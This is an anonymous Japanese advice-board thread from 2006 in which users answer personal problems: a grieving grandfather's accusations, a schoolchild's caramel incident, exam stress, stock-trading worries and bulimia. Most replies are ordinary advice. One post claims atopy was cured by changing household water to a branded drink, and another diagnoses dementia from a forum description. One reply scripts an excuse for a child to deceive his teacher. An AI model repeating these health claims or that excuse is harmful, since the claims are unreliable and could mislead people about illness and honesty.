祖母の遺産などは、祖父自ら「手続きがわからないから」と口座の管理などすべて両親にまかせていたのですが、
あとになってから「おばあちゃんの遺産をどうするつもりだ」とたまに大揉めになります。
祖母のタンスの中身も、触る時にはかならず祖父にことわってからあけていたのですが、
ある日「おばあちゃんのタンスを勝手に開けただろう」と怒鳴りにきました。
もちろん両親も孫(私と兄弟)も一切触っていません。
しかし親戚の方が来たときには「うちの嫁が勝手にタンスを開けてあさっている、金目のものを盗んでいる」と言っているのです。
電話でもよくそう話していて、親戚のかたに誤解されるのではと心配ですが…親戚の一部のかたは察している様子もあります。

痴呆の症状として病院に相談するべきか、と家族間で話していますが、これは痴呆とは違うような気がするのです。
祖父はもっと若い頃(60代)からこういう性格である傾向がありましたし。
よく自分でどこかに物を置き忘れては、
「○○を知らないか」「勝手に持っていかなかったか」
と怒鳴りにきますが、それも物忘れの延長+被害妄想?であって一般的にいう痴呆とは違うのではないかと思っています。
こういう状態でも病院に相談などして良い方向へもっていけるのでしょうか?
放っておけばよいと言う親戚もいるのですが、生活していくうえで接すること自体が家族共通の苦痛となっています。

900 :マジレスさん:2006/11/11(土) 08:02:04 ID:RBYdpzbz
悩んでるので聞いて下さい。人と会ったり遊んだりすると楽しいけれどとても疲れるんです。

私は自然と人に気遣いできる性格ではないので、今のツッコミきつすぎたかな、とか色々変に考えてしまって疲れてしまうんです。

本当は自己中でわがままで常識のわからない変人なんですが、それでは他人に迷惑をかけるから、普段は気をひきしめて努めてるんです。

なので仲がいい友達でも、自分の精神的コンディションが悪い時は誘われても断ります。
最近はそういうことが増えて会いたいのに会えなくて落ち込みます。

どうしたらもっと精神を安定できるでしょうか?

901 :マジレスさん:2006/11/11(土) 08:05:01 ID:lyCyoO8h
>>899
明らかな認知症だな。
考えの偏りや被害妄想も認知症が原因。

病院に行って薬をもらいましょう。
治す薬は無いと思うが。

902 :マジレスさん:2006/11/11(土) 08:16:56 ID:dkqn6hNG
>>898
じいさんは事実を認めたくないんだろう。
癌センターに入院させてそれで諦めてしまった家族にも腹が立つに違いない。かたちだけでももっと名医を探す努力でもしていれば納得したかもしれない。
半分見殺しにしたと思ってそうだし、ずっと恨みは続くと思うよ。
基本は普段から祖父母を尊敬していない態度にありそうだ。
別にボケているわけではない、何でもすぐに「年だ」と言って馬鹿にするのも怒りを買う理由だ。


>>900
もっと他人の立場になって考えてみる。
女には難しいかもしれんが。


903 :マジレスさん:2006/11/11(土) 08:19:19 ID:15n82iBe
>>898
きっと最愛の方をなくされて孤独なんだと思います。
怒りの矛先を他人に向ける事で、悲しみを抑えてるのかも知れません。
どうか争わずに、すべて受け入れて
会話を避けずに、温かく接して見てはどうですか?
きっと亡くなられた方もそれを望んでいると思います。
何が最善か家族とよく話し合って見てください。


904 :マジレスさん:2006/11/11(土) 08:25:23 ID:IaV8a7j3
>>898
死の現実を受け止められないんですね。
近くの寺社で住職さん等に相談し、
死についてや責任転嫁しても本人が喜ばない旨法話してもらうのはいかがでしょうか?
第三者に諭されることで落ち着くかもしれません。
(宗教嫌いでしたら効果は期待できませんが…)

905 :マジレスさん:2006/11/11(土) 08:30:40 ID:pzm8MyYY
>>898 老人性うつて病気もありますが…昔からの性格なら納得いくまで話し合いしかないのかな?

906 :マジレスさん:2006/11/11(土) 08:34:30 ID:Y9zKHHPW
老人姓欝、そんなのあるんかい?
初めて聞いた。

907 :マジレスさん:2006/11/11(土) 08:38:09 ID:IaV8a7j3
>>900
>私は自然と人に気遣いできる性格ではない
>本当は自己中でわがままで常識のわからない変人

それらをそっくりそのまま友達に打ち明けてみてはいかがでしょうか。
受け止めてもらえたら楽になると思います。
誰だって気を遣いながら付き合いをしていたら疲れますよ。
もし真剣に正直に話して受け止めてもらえないならその程度の友達なのかもしれません。

少しずつでも本当の自分をさらけ出せるといいですね。

908 :898-899:2006/11/11(土) 08:48:08 ID:qvCi3kMn
返答ありがとうございます。

>>901
認知症の可能性もありですか…
出かけたりなどは普通にできるようなので、どうなのだろうかと考えていたのですが、
視野にいれていきたいです。

>>902
おそらく、かなりそのように思われていると思います。
地元の内科→近くの総合病院→そこより大きい総合病院→癌センター と渡ってきましたが、
また、手術した場合、右腕を肩からすべて切除・腰のあたりの切除・片足を膝下から切除
としなければいけない状態だったため、80歳手前の祖母にいはどんな名医でも難しいだろうという見解でした。
しかしおっしゃるとおり、そのあたりの説明が不十分だったのかもしれません・・・

>>903
家族にとっても亡くすのは辛いですし、長年連れ添った妻を失う気持ちもわかります。
両親も、最初はその気持ちを感じてなるべく落ち着いて話をしていたのですが、
何度話してもしだいに口論になってしまって外にまで声がもれる状態でした・・・
そうなっては、解決になりませんよね。もう少し温かい目で見れるようになっていければと思うのですが・・・

>>904
祖父は宗教に興味があるようで、毎日お経をとなえています。
お葬式でお世話になった住職さんをとっつかまえて小一時間話を聞かせるほどでした。
(相手は専門家なのに間違った話をしゃべっていてちょっと内心苦笑い〜でしたが、
住職さんは笑顔でうなずいてくれていました。良い人です。)
次回の法事で、住職さんと接することで落ち着いてくれるのも期待します。

>>905
昔から人の話を聞かない場面が多々あったので、今回はそれが大きくなってしまったのかなとも思っています。
話し合いをしたくても「もういい」と去ってしまうのが難点です・・・
父もキレやすいタイプなので、だんだん父の声が大きくなっていくのが、祖父よりもっと悪いところかもしれません

909 :マジレスさん:2006/11/11(土) 09:02:16 ID:C/mAxuN4
悩みアリマス
僕は小学校6年生のものですが、
教室の床にキャラメルが落ちていて、
僕が持っていったことがばれそうです。
このことで個人懇談が開かれそうです。
これは自主すべきか。 どうかしてごまかすか。
お願いです。マジレス頼む!

910 :マジレスさん:2006/11/11(土) 09:07:02 ID:uZME7Kft
>544          レスありがとうございます。昨日できるだけ興味を持って接するのを心がけました。
少しだけマシになったような気がします。これはやっぱり私の心の問題だったのでしょうか。
これからも口下手なりに頑張りたいです。

911 :マジレスさん:2006/11/11(土) 09:31:38 ID:pgKIXJIj
私はいろんな人と仲良くなりたくて会社でも女性社員の人に
積極的に笑顔で挨拶をするのに相手の反応がイマイチだったり
あまり笑ってなかったりすぐに顔を背けられたりします。
なぜか挨拶だけで嫌われてしまいます。
どうやったら人に嫌われないようになるんでしょうか。

912 :マジレスさん:2006/11/11(土) 10:00:02 ID:15n82iBe
>911
あなたは、何も心配する事ないですよ。
誰でも合う人と合わない人いますし、
無理して笑顔を振りまく必要もないです。
それに嫌われたくない理由で本当の自分を隠すのも良くないですし
本来の自分でいることを心がけてはどうですか?
あなたが自分らしくしていれば自分に合った人と仲良くなれると思います。



913 :マジレスさん:2006/11/11(土) 10:03:41 ID:6WFpD4ed
>>912

僕に友達ができないのは自分を隠して
自分らしくしないせいでしょうか?
でも本当の自分らしい自分て無愛想で怒りっぽくて
人前にはなんか出せないんですが。


914 :マジレスさん :2006/11/11(土) 10:11:54 ID:k0Cd8vq9
>>909
大事になる前に自主をお勧め

普段の生活態度にもよるけど、ごまかすなら
「うっかりおやつをポケット(カバン)に入れっぱなしで、
自分が落としたのに最初は思い当たりませんでした
気付いたら大騒ぎになって言い出せなかった」
とでも言っておけばどうかな

でも義務教育の学生が学校にオヤツ持ってくのは感心しないな
お菓子どうのより周りに迷惑な行為だからね
下手すれば学年集会に発展したりもする

915 :マジレスさん:2006/11/11(土) 10:14:47 ID:sn33waXf
くだらね
お菓子如きで

916 :マジレスさん:2006/11/11(土) 10:18:20 ID:15n82iBe
>>913
別に相手が嫌がる事をしろと言う事ではないですよw
自分らしくというのは、本来の自分でいるということです。
違う自分を演じても辛いし疲れるだけでしょう?
本当の自分を隠していても本当の友達はできませんよ。


917 :マジレスさん :2006/11/11(土) 10:19:22 ID:k0Cd8vq9
>>915
そう言えばそうなんだけどな、下らん事でも大事になるのが義務教育
自分が中学の時チロルチョコの包み紙一枚で、文化祭中止になり掛けたしな

918 :マジレスさん:2006/11/11(土) 10:23:45 ID:sn33waXf
>>917
せせこましいと思う
君は認めてるの?

919 :マジレスさん :2006/11/11(土) 10:31:23 ID:k0Cd8vq9
>>914=>>917だけど

>>918
??意味が分からない…単に自分の昔の体験談からだけど?
落ちようとしたらレスあったんで反応だけしとく

920 :マジレスさん:2006/11/11(土) 10:43:27 ID:aMy40vH4
>>909
職員室に行って正直に話してあやまる。大ごとになる前にあやまったほうがいいよ。
キャラメルなんて、かわいいものよ。ナイフとなればたいへんだけど。
先生は正直に名乗りでれる人かどうかをみてるんだよ。

921 :マジレスさん:2006/11/11(土) 10:50:02 ID:+Sj1WMsK
携帯を解約したいのに親が許してくれません。
受験生なのに、携帯があったらどうしても彼からのメール来てないかなとか思って勉強も手につかなくなってしまうから言ってるのに…
なんか「携帯があろうがなかろうが使うも使わないもあんた次第でしょ」って怒られた。
携帯がなければ彼からのメールの返信が遅くてもそわそわすることないし。
携帯を折って壊そうということも考えてみたけど…なんか出来ない。
携帯の解約について親を説得させる方法教えてください

922 :マジレスさん:2006/11/11(土) 10:50:55 ID:V4cAI6a3
>>779
体2/3ぼろぼろだったアトピー完治した自分。
かゆくて痛くて汚くて本当に辛かった。
眉唾だと思われそうだけど承知で書く。
自分は、数年かかったけど家の水を根本的から替えたら
緩やかに治った。飲み水ももちろん、風呂もなにもかも
全てをパ●ロゲンって飲料の関係にした。
キッチンの匂いまで違ってくる。

こないだアトピーで何年も苦しんだ女の子が
気功で改善して号泣してました。
あなたに何が合うかわからないけど参考までに。

923 :マジレスさん:2006/11/11(土) 10:51:01 ID:v1wsHKUR
今日朝9時から部活だったのに寝坊した…
吹奏楽で明日発表本番なのに。
今電車の中だけど、途中から行くのって嫌なんだよね。みんなの視線が怖い。別になんとも思われてないだろうけど。自分が悪いんだけどさ(´д`;)
あぁ鬱々…
相談するつもりで書いたけど、ただの愚痴になっちゃった…

924 :マジレスさん:2006/11/11(土) 10:53:38 ID:sn33waXf
>>919
キャラメル一個に大騒ぎしたり
チロルチョコの皮一枚で文化祭中止騒ぎしたり
くだらない事に大騒ぎするのが義務教育だと認めてるの?

925 :マジレスさん:2006/11/11(土) 11:05:09 ID:lyCyoO8h
>>921
メールをくれる友人に「これから来年の受験が終わるまで携帯を止める、何かあったら家電にしてね」とメールを送る。
そして携帯の電源を切ってしまう。
基本料金は少しもったいないが、受験するときや合格発表の時は必要だし解約までしなくても良いんじゃないの。

926 :マジレスさん:2006/11/11(土) 11:06:07 ID:v1wsHKUR
>>924
確かにくだらないけど、そういう小さな約束でもちゃんと守らなくちゃいけないってことを教えないとだめなんだよね。

927 :マジレスさん:2006/11/11(土) 11:17:45 ID:sn33waXf
>>926
自由の尊重の方が大切だと思う
他人の自由を害してるものと違うんだし

928 :マジレスさん:2006/11/11(土) 11:21:53 ID:wNrBaRne
SoftBankなら電話で使用停止できたような…

929 :マジレスさん:2006/11/11(土) 11:26:17 ID:AmIpXdG1
17歳 男 高校生 A型 相手も同じ性別・年齢・B型
自分が休みにどこに出かけようが勝手なのにあそこ行こうぜ、
と毎週のようにうるさくいうB型のやつがいるので、断り適当に金がないと理由をいうとお前は絶対
どこも出かけるなよ。一人で出掛ける金があるなら一緒に遊べるじゃないか。
(補足 そいつと出掛けると1回に5000円以上かかりバイトもしていないし、
親に毎週のように小遣いでは足らずに5000円もらっていますが正直貰いづらいです)
もし他人から遊びに行ったこと気いたら慰謝料払ってもらうからな。
そして自分とよく喋りそうな友人に遊びにいったかどうか聞
きに行っているらしい。
他人にわざわざ行ったかどうか聞いてきてばれると○○に行っていた
そうじゃないかと嫌みを言われるので正直相手したくないです。
(無視したらしたでうるさいけど…)
家の辺りの田舎に欲しい本がなくて電車で30分ぐらいで行ける大きい本屋に行った
ことを友人に話したらいつの間にかそいつが知っていてまた嫌みを(ry
本を買いに少し出掛けただけでこのザマです。
最近はどこに出掛けるときも他人には一切言わずにやってます。
そして趣味の電車の乗り鉄wは3ヶ月に1回ぐらいしかいけなくて辛いです。

昔はもっと相談に乗ってくれて良いやつだったのですが、最近は正直うざいです。

こういうのはどうやって対処したらよいでしょうか?
かかわりたくはないのですが寄ってくるので参ってます。
長文で携帯からなので読みにくい文ですみません。


930 :マジレスさん:2006/11/11(土) 11:32:08 ID:wNrBaRne
単に用事があるって言えばいいんじゃない?
断れない人なんだね。あなたは。


931 :マジレスさん:2006/11/11(土) 11:47:36 ID:V+DAak0I
>>921
親が許さない理由が分からないので、認めさせる方法は残念ながら、思い付きません。
彼のメルアドを拒否設定して、その後、親にパスワードを変更してもらったら、気にならなくなるかもよ。
もちろん、彼に話した後ね。

932 :マジレスさん:2006/11/11(土) 11:51:27 ID:dJRwNb0m
4年付き合った彼がいて、彼には新しい恋人がいていつものろけられ
なんか私がこないだ物品を返すと「付き合っていたころのキャラとぜんぜん
違う、強がるな」といわれました。
そんなことをいっても、つきあっていたころと切り替えようとしているいまのキャラ
では違うのは当たり前だと思いますが、なぜ彼はこんなことを
いうのでしょうか。

また、最近別れは必然的だったし前まで抱えていた価値観の違いって言う
ものを乗り越えられなかったので、別れてよかったと立ち直れてきています。
でも、最近ほんとに学校の家の往復で出会いも全くなく
休みの日も家にいたりして友達と遊ぶぐらいしか予定がないです。
だから彼ができたらもっと満たされるな〜とおもいます
別れた直後別の人から、紹介をしてもらって、ボロボロに傷ついたんですが
(前の彼氏と比べてしまって)
元彼が紹介をしてくれる、といっているのですが、話に乗るべきでしょうか。
紹介を頼むべきでしょうか。
元彼ののろけとか、自然体でいてくれ、とかいう無理な頼みが聞き入れられない状態なのですが
元彼に紹介を頼むのはよくないでしょうか。


933 :マジレスさん:2006/11/11(土) 11:56:42 ID:aMy40vH4
>>927
学校にあめをもって行こうが、ゲームを持って行こうが、他人に迷惑かけていなければ良いって事だね。


934 :マジレスさん:2006/11/11(土) 11:58:59 ID:wNrBaRne
元カレに頼むのはバツだな。
いいじゃん!友達と遊ぶ事があるなら。
僕は友達と遊ぶ事などない。

935 :マジレスさん:2006/11/11(土) 12:02:58 ID:kQM0jD2/
20になったばかりの半ニートな男なんだけど
今後どうすればいいのか分からないのでアドバイスください。
一応大学に行くつもりでそれなりの勉強はしてるんですけど、
大学に行きたい理由が、いろいろあるけど一番大きいのが
「友人作って楽しい生活をしたいから」
しょうもない理由だと思うけど、高校時代のときのトラウマが原因で
すごく経験したいと思ってる。けどほかに自分のしたいことがあって
それをしようとしたら上記の大学にいくことを諦めるしかない。


結局両方することはできなくてどっちかをしたいと思ったら
どっちかを諦めるしかない状況なのは分かるんですけど
そろそろ決めないとなんかほんとにやばくなりそうなので。
といっても見てる人がアドバイスできるようなことなんて
なような気がしなくもないのですが…

936 :マジレスさん:2006/11/11(土) 12:07:22 ID:Efz6AV77
>>927
それはお前個人のルールだな。
学校に居る限りは学校のルールに従わなきゃいけない。

937 :932:2006/11/11(土) 12:16:08 ID:dJRwNb0m
>>934
レスありがとうございます、なんで元カレの紹介とはダメなのでしょうか。
きっかけのひとつ、と考えるっていうのでもダメですか?
出会いがないし、今は面白くないので、もしかしてすっごくすきになれる
人がいるかもしれない、って思えば今の状態より楽しくなるんじゃないかな、って
思えるんです。
元カレとは友達でもあまりいたくないのですが。

938 :マジレスさん:2006/11/11(土) 12:39:06 ID:+Sj1WMsK
>>925
>>931
ありがとうございます。
母も携帯を持ってるので…家へ電話をかける面では大丈夫です。
やっぱ…携帯があるとどうしてもどうしても気になるんですよ。
彼氏のメアドを拒否ってもなんか寂しくなると思うんです。
携帯がないならあきらめはつくんですけどね…
多分母は解約料金がいるからという理由で解約はさせないと思うんですが解約料金くらい自分で出しますよ。

939 :マジレスさん:2006/11/11(土) 12:39:31 ID:lyCyoO8h
>>935
> 大学に行きたい理由が、いろいろあるけど一番大きいのが
>「友人作って楽しい生活をしたいから」

これは遊びたいということですか。

>けどほかに自分のしたいことがあって
>それをしようとしたら上記の大学にいくことを諦めるしかない。

これは将来にむけての準備勉強ですか。

答えは決まっています。
4年後に出るでしょう。
20代半ばで 大学で遊んでいただけの人間 VS 目標に向かって邁進した人間

940 :マジレスさん:2006/11/11(土) 13:38:24 ID:YsC2E7Aq
僕は今中3です、昨日学校で昼休み遊んでいるときに、中1の女の子からPFを
書いてって言われて紙をわたされたんですけど、全然面識がなくてシカモ
中一の女のこでわたすタイミングがわかりません・・・なにかいいアドバ
イスを・・・ どうもその女の子は僕のことが好きみたいです


941 :823:2006/11/11(土) 13:45:09 ID:VG85VQEe
昨日夜に相談にのってもらっていた
ものです。
みなさんのおかげで、少し気分が楽になりました。
お礼をいいそびれたのでここにかきこします
どうもありがとうございました。
とりあえず勇気をだして家を出て働こうと思います

942 :マジレスさん:2006/11/11(土) 13:50:44 ID:C/mAxuN4
さっきのものです。
実は僕のクラスでは前も何件かこのようなことがあったんです。
で、こんなことはもうないようにしとこうって団結したんです。
だからめちゃくちゃ先生が怒っていて・・・
うわぁぁぁぁぁぁん どぉーしよぉ

943 :マジレスさん:2006/11/11(土) 13:55:45 ID:da7ZR4x+
>>942
その子に直接、クラスでこんな事は禁止になっているからと
理由を言ったらどうかな?
でも、面識がないという事はどこのクラスで誰かも分からないんだよね。
その子の友達やあなたの友達とかに同じクラスの知り合いがその子を通じてという手段も出来るのだけどね。
あとは、もうそのまま放置するとか…。どっちにしろ、クラスの中で禁止事項なんだから。



944 :マジレスさん:2006/11/11(土) 14:04:17 ID:Efz6AV77
>>943
ちょっと待て。>>942がお菓子持ち込んだんじゃないのか?
誰かが持ち込んで落としたお菓子を>>942が拾ったってことか?

945 :943:2006/11/11(土) 14:08:10 ID:da7ZR4x+
>>944
どうやら私の勘違いみたいです。
レスをきちんと見なかったために間違いました…

942=940と思ってレスしました…

スマソ

946 :ダークオサーン ◆2vCFn0cQ6. :2006/11/11(土) 14:24:11 ID:LKuSuVuA
>>944
>>943の解釈は勘違い、だと。

>>942 >>で、こんなことはもうないようにしとこうって団結した
のにもかかわらず>>942は、キャラメル持ち込んだ→めちゃくちゃ先生が怒っていて

ということでしょう。
『クラスのみんなで「やめよう」と決めたこと事を破った者がいる→当然先生怒る→破ったのは、俺…
→ヽ(`Д´)ノ ウワァァァン!

小学校六年生なら「約束を破る」「人の信頼を裏切る」「団体責任者(この場合、担任の先生)の義務」
そして「「良心の呵責」「バレるかも知れない恐怖」
最後に【自業自得】ぐらいは  わかるよな?

まあ私自身は、キャラメルぐらいOK派だけどね。それとこれとは話が違うから。


947 :ダークオサーン ◆2vCFn0cQ6. :2006/11/11(土) 14:25:53 ID:LKuSuVuA
>>945
あら、書き込みリロードしたら…よけいなお世話、失礼しますた。

948 :914:2006/11/11(土) 14:36:26 ID:k0Cd8vq9
>>942
とりあえず名前に「909」って入れてメル欄に「sage」「age」を入れると良いかと

分かっててやったんなら自業自得、怒られても怖くても当たり前
取って食われはしないだろうから、ちゃんと叱られてきな
(過剰な暴力振るわれたらそれはまた別問題だけど)
わざとじゃないなら、それこそ正々堂々言い訳の一つもしてきなさい

>>926>>933>>936
フォローさせてしまった形で済みません、有り難う御座います
>>924
上記参照。当方の意見は上記の方々と同じです
>>946-947
>まあ私自身は、キャラメルぐらいOK派だけどね。それとこれとは話が違うから。
同意。個人的に貴方のレス好きだなw(先日は語弊満々レス有り難うw)

出かけるので通りすがってさっさと落ちます、言い逃げっぽくて済みません

949 :ダークオサーン ◆2vCFn0cQ6. :2006/11/11(土) 14:38:52 ID:LKuSuVuA
>>942 まあ
>>どぉーしよぉ という相談なので

上策 開き直り、「キャラメルを持って来て何が悪い」と主張する
中策 正直に謝り、それなりの罰(怒られる)を受ける
下策 すっとぼける。ウソをつき通す

おまえが、普通の人で、普通の人として普通の人生を送りたいのなら、中策を選べ


950 :マジレスさん:2006/11/11(土) 14:42:43 ID:Ai9SElxn
と言うか、小学校6年生が2ちゃんねるかよw
ロクなもんじゃねえな

951 :マジレスさん:2006/11/11(土) 15:26:36 ID:rUvofioG
自分の友達になんでもはっきり物事を言う子がいます。
「私はこれ嫌い」
「あなたの顔は好みじゃない」
とか…。
とにかくYESかNOでなにもかも即決し、他人のことを考えずズバズバ言ってくるんです。
そのせいで彼女にはあまり友達がいません。
彼女は大学生で、彼氏を作りたいと思っているのですがそんな性格が災いして、男子からも女子からも嫌われています。
とにかくキツイ性格なのです。
でも、自分はそんな彼女に興味を持ち、親しくなりたいと思っています。
そこで彼女のような性格の人に対するコミュニケーションの方法を教えてください。そういったことが記載されているサイトでもかまいません。



952 :マジレスさん:2006/11/11(土) 15:39:34 ID:abf0STJl
>>951
マルチポストはルール違反だよ君。

953 :マジレスさん:2006/11/11(土) 16:28:35 ID:TbBvikAP
悪口や愚痴やらを言うような人物が優等生になれるとは私は思えません。いかがデスカ?
価値観は人それぞれですが私の意見に頷けますか、あなたの意見も教えて下さい。

954 :マジレスさん:2006/11/11(土) 16:38:46 ID:GeCN1FC5
>>953
優等生ってのもいろいろな意味があって
単に勉強やスポーツの成績が優秀、という意味での優等生なら
他人の悪口や愚痴を言う人でもなれなくはありません。
ルールやマナーを遵守する「いい子ちゃん」という意味での優等生、ってんなら
悪口や愚痴を言っているとなれないと思います。

なので、953さんの意見は、半分頷けますし、半分は「違うこともあるんじゃない?」
という意見を持ちます。

955 :マジレスさん:2006/11/11(土) 16:50:48 ID:3hJc+KyZ
28歳男。夢に挑戦しているが成功するか不安。

2流文系大卒。
大卒後、サラリーマンを2年。
仕事、社内政治の下らなさ&夢に挑戦したい気持ちがあり辞職。

就職活動の頃からやりたいことがなく株で大金持ちになりたいという夢を持ち
それ以来、株式投資関係の知識を6年に渡り詰め込みました。
現在は借金をして、借金の利子以上の成績を上げようと日々トレードしてます。

将来大きく負ける時に備えてバイトをしていて資産が減らないように調整しているので安心なのですが、
不安材料は、勝てない状況がいつまでも続くのではないかという点です。
結婚適齢期の30を過ぎても40.50歳になってもいつまでも夢が叶わなかったらと思うと不安です。

30歳代半ばでもまだ資産が増えなければまた労働をしなければならないのか。
自分は組織に向いているタイプではありません。
自分で商売もしていますが月10万円もいきません。それもいつまでこの収入が続くかどうか分かりません。

まとめますと、株で資産を減らすことはないが、
上手く行かなければ自分が一生を通じて働ける仕事を新たに見つけなければならない。
しかし、もともと組織が苦手なので株に挑戦していることもあり、見つけることは難しい。
一生収入の少ないワーキングプアになることを心配しています。

音楽のメジャーデビューを目指すバンドマンと同じような悩みです。わたしはどうすればよいのでしょうか。
毎朝、目覚めに「28歳なのに俺は成功のあてのないことをやっている・・・」と陰鬱な気持ちで起きます。
よろしくお願いします。


956 :909:2006/11/11(土) 16:55:28 ID:C/mAxuN4
さっきはめんどくさくて省略していたけど
実はこの話すごく複雑なんです。
まずこのような話がクラスで何件もあって、
みんなでこんなことはやめようと団結した。
そして僕はあるグループ仲間にいれてもらった。
みんなで交換ノートやろうってことになって、
僕はうれしかった。
けど、その中にはキャラメルが入っていて、
見つかったらやべぇと思ったけど、
グループから仲間はずれにされることが怖くていいだせなかった。
そして、昨日クラスでキャラメルが見つかって、
1時間使って、犯人探しとなった。
そして、個人懇談になることが決まった。
しかし、そのキャラメルは僕たちが入れていたキャラメルではなかった。
しかし、個人懇談になるとすれば、ある子のお母さんにはキャラメルが入っていたこと
がばれたから、そのこのお母さんがいっていしまうかもしれない。
と、いうわけです。

957 :マジレスさん:2006/11/11(土) 17:00:32 ID:87YVaqvF
17才 摂食(過食症)で高校中退してしまい人生ぐちゃぐちゃです
引きこもって食べてばかりで太って鬱で・・・の無限ループ
何がしたいのか自分でもよく解からなくなります。
とりあえず高認取ってるのですが、来年(普通なら高3)からどうするべきか・・・
勉強ができません 何をしてもやる気でなくてすぐ食べ物に走ってしまい
とても受験勉強できそうにないです

選択肢は大学行く 専門行く フリーター 資格取り 留学  一生引きこもり
そりゃ大学行きたいけど、体型コンプレックスと勉強不足で無理・・・
専門にはやりたいことちょっとあるけど、専門ってギャル系多そうで
コンプありの私にはきついかな。。
やっぱ裏方のバイトとかが無難でしょうか。
専門学校の雰囲気ってどんな感じなのでしょうか。デブスは浮きますよね・・・

958 :マジレスさん:2006/11/11(土) 17:10:41 ID:hzV/zQNw
>>956
これは私の考え方なので、あなたがどうするかは、あなた自身が決めることですが
個人懇談があるのなら、誤魔化さずにそこで正直にありのままを言ってみるのはどうでしょうか
ウソをついてごまかすと、たいてい状況は悪化したりすると思います
あとウソがよほど上手い人は別にして
普通はウソをついてることは、見る人が見れば簡単にわかるものだと思います

959 :マジレスさん:2006/11/11(土) 17:12:10 ID:vT6Ie2Ex
>>957
貴方の選択肢の中に高校に通いなおすとかはないの?
多分今のあなたがそのまま専門とか大学とか留年しても
働いてもまた登校拒否みたいになると思いますよ
まずなんで高校中退したの?

960 :マジレスさん:2006/11/11(土) 17:14:33 ID:ag+LgvJI
>>955
某大学の経営工学的な学科に在席している者だけど…。
簡単に申し上げると、株の“トレード”は儲からない。
皆が儲かっているという状況は単に物価変動による貨幣価値の差だったり。
基本的にインサイダーのような不正もしくは不正ぎりぎりの調査でもしないと最終的な利潤は得られない。

961 :マジレスさん:2006/11/11(土) 17:19:19 ID:hzV/zQNw
>>957
過食症にことは詳しくないのですが
食べること以外に好きなことを作ってみるのはできそうですか?
たとえば、外に出て運動をするのはどうでしょうか?
人の少ない時間にジョギングをしてみるとか
運動をしていれば食べてもやせるでしょうし、鬱な気分の気分転換にもなるかもしれないし
ひきこもりも解消されていくかもしれませんよ

962 :マジレスさん:2006/11/11(土) 17:41:51 ID:FuCA2j6P
>>955
俺は株のことは詳しくないからそっちについてはコメントは控えておくが、
夢だから株を選んだの?
それとも、普通の会社から逃げるために株を選んだの?
そこのところがなんか曖昧な印象を受けるよ。

どういう夢を持ってどういう生き方を選ぶかは勝手だけれど、
夢ってことばを盾にしてただ逃げてるだけなのだとしたら
後ろめたさとかはいつまでも消えないんじゃないかね。

963 :マジレスさん:2006/11/11(土) 17:53:57 ID:ag+LgvJI
>>955
追い打ちをかけるようだけど…
長期的にデイトレードをしているなら薄々気付いているかもしれないが、基本的に±0にしかならない。
無論好調な景気のため多少の収益があるが、銀行に預けるよりマシかもという程度。
あくまで会社に投資という意識で、リスクを覚悟し且つ計算しないと株で成功することはありえない。

964 :マジレスさん:2006/11/11(土) 18:00:49 ID:lyCyoO8h
>>955
年間で株の利益率また金額はどうなんでしょうか?
普通にやっているとここ3年は30%以上上がっているとか。
300万の利益を上げる原資が1000万必要ですね。

30%利益を上げ続けられる自信があるならやればよいし
無ければ副業として株をすべし。

965 :マジレスさん :2006/11/11(土) 18:23:49 ID:k0Cd8vq9
>>957
心療内科には通っていますか?
過食症は家族の理解と協力が必要な、やっかいな心の風邪です
両親からの愛情不足や、ストレス等、原因は様々ですが
根本的な解決・治療をしない限り、一度治っても再発の可能性のある病気です

身体的なコンプレックスも、過食の原因の一端かとは思いますが
精神的な影響が大きい為、薬等に頼らなければならない事実が有ります
そしてどうしても長期戦になってしまします
進学や資格の取得、アルバイトも良いですが、体調や精神的な事を考えると
継続出来る常態かどうかが最大の問題となってきます

外見など先入観や固定観念に囚われ過ぎるのも、病気の特徴だと言わざるを得ません
ボロボロだとおっしゃるくらいなので、出来る限り治療に専念する事をお勧めします

966 :965:2006/11/11(土) 18:27:12 ID:k0Cd8vq9
すみません、×ボロボロ→○ぐちゃぐちゃですね…
イメージとしてぐったりしてる感じがしました

967 :マジレスさん:2006/11/11(土) 18:29:02 ID:4D43qO9+
>>955
あなたの「夢」とは、情報をかき集め、アンテナを張り巡らし、
スリリングな株取引に一喜一憂する生活ではなくて
たんに「一攫千金の大金持ちになる」ことなんじゃないんですかね?

無名のバンドマンの「ビッグになりたい」夢と似ていると書かれているけども、
バンドマンとて「一攫千金」だけを夢にしていたのでは、とても続くものではないと思う。
たとえそれが錯覚であろうと、「自分の音楽センス、才能」を信じているからこそできること。

あなたは株じゃなくてもなんでもいいんだろうと思います。
そりゃあ、不安な気持ちにもなるでしょうね・・・。

968 :ダークオサーン ◆2vCFn0cQ6. :2006/11/11(土) 18:38:52 ID:LKuSuVuA
>>955

>上手く行かなければ自分が一生を通じて働ける仕事を新たに見つけなければならない
そうか?…というか『自分が一生を通じて働ける仕事』とは

ぜいたく ですな

>しかし、もともと組織が苦手なので株に挑戦していることもあり、見つけることは難しい。
組織が得意なやつでも、『自分が一生を通じて働ける仕事』を『見つけることは難しい』だろうな。
わたしは、組織が好きではない、個人プレーの方がいいが、組織が得意な人間らしい(「社会性の高い一匹狼」といわれたことがある)
現在、「一生を通じて働【きたい】仕事」に就いているが、「一生を通じて働ける」かどうかは、サッパリわからん。
業界どころか、産業自体が日本では“実質すでに滅んだ”仕事だし(小学校社会の教科書の「日本の仕事(産業分類)」から抹消→業界・管轄省庁から文部省に抗議→復活wしたような仕事。
さらに3k度は、わけても「キケン」はワーストトップクラス。にもかかわらず収入は“実質すでに滅んだ”仕事ゆえ、ショボーン…

>一生収入の少ないワーキングプアになることを心配しています。
私は 「ワーキングプア」確定であるが、ほぼ好きなこと、ほとんど趣味レベルなことをしているので、そりゃ当然。

あなたも 自分の“わがまま”を仕事選びに持ち込んでいるだろう?
「ワーキングプア」は、当然だとおもうがなあ。



969 :マジレスさん:2006/11/11(土) 18:52:28 ID:dgtkKb0m
新スレ立てました。

【人生】誰かがあなたの悩みに答えます50【相談】
http://life7.2ch.net/test/read.cgi/jinsei/1163238687/l50

970 :914:2006/11/11(土) 19:21:34 ID:k0Cd8vq9
>>956
面倒だから省略って…相談持ちかけといて失礼な言い方だと思うけど?

文章苦手そうだから、ちょっとごちゃごちゃしてるけど
本当にただ怒られる事や仲間外れが怖いだけなんだろうね

ノートにキャラメル入ってるって、一体どんな状態か分からないけど
とりあえずそれは、自分達のものじゃなかったんでしょ?
実際にやった子が自首するかもしれないじゃない

仮に見付かったのが君たちのキャラメルだった場合
関係ないクラスメイト巻き込むって事なんだから
その責任は取る覚悟で、グループと付き合いなよ

君ぐらいの年齢だと、クラスでのポジションは重要だとは思うけど
